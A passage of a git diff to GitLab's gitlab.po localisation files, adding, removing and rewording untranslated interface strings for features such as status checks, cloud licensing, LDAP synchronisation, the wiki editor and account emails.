+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/mn_MN/gitlab.po b/locale/mn_MN/gitlab.po
index aaa36f15f34..9221ec708d9 100644
--- a/locale/mn_MN/gitlab.po
+++ b/locale/mn_MN/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: mn\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:44\n"
+"PO-Revision-Date: 2021-07-01 21:29\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
